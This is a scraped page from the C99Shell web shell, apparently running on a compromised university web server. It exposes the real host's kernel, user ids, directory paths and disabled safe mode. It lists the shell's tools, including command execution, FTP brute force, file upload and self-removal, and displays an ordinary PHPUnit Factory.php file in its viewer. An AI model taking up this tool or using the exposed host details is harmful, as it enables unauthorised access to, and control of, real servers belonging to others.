!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/php-file-iterator/src/   drwxr-xr-x
Free 117.1 GB of 200.55 GB (58.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Factory.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the File_Iterator package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Factory Method implementation that creates a File_Iterator that operates on
 * an AppendIterator that contains an RecursiveDirectoryIterator for each given
 * path.
 *
 * @since     Class available since Release 1.1.0
 */
class File_Iterator_Factory
{
    
/**
     * @param  array|string   $paths
     * @param  array|string   $suffixes
     * @param  array|string   $prefixes
     * @param  array          $exclude
     * @return AppendIterator
     */
    
public function getFileIterator($paths$suffixes ''$prefixes '', array $exclude = array())
    {
        if (
is_string($paths)) {
            
$paths = array($paths);
        }

        
$paths   $this->getPathsAfterResolvingWildcards($paths);
        
$exclude $this->getPathsAfterResolvingWildcards($exclude);

        if (
is_string($prefixes)) {
            if (
$prefixes != '') {
                
$prefixes = array($prefixes);
            } else {
                
$prefixes = array();
            }
        }

        if (
is_string($suffixes)) {
            if (
$suffixes != '') {
                
$suffixes = array($suffixes);
            } else {
                
$suffixes = array();
            }
        }

        
$iterator = new AppendIterator;

        foreach (
$paths as $path) {
            if (
is_dir($path)) {
                
$iterator->append(
                  new 
File_Iterator(
                    new 
RecursiveIteratorIterator(
                      new 
RecursiveDirectoryIterator($pathRecursiveDirectoryIterator::FOLLOW_SYMLINKS)
                    ),
                    
$suffixes,
                    
$prefixes,
                    
$exclude,
                    
$path
                  
)
                );
            }
        }

        return 
$iterator;
    }

    
/**
     * @param  array $paths
     * @return array
     */
    
protected function getPathsAfterResolvingWildcards(array $paths)
    {
        
$_paths = array();

        foreach (
$paths as $path) {
            if (
$locals glob($pathGLOB_ONLYDIR)) {
                
$_paths array_merge($_paths$locals);
            } else {
                
$_paths[] = $path;
            }
        }

        return 
$_paths;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0244 ]--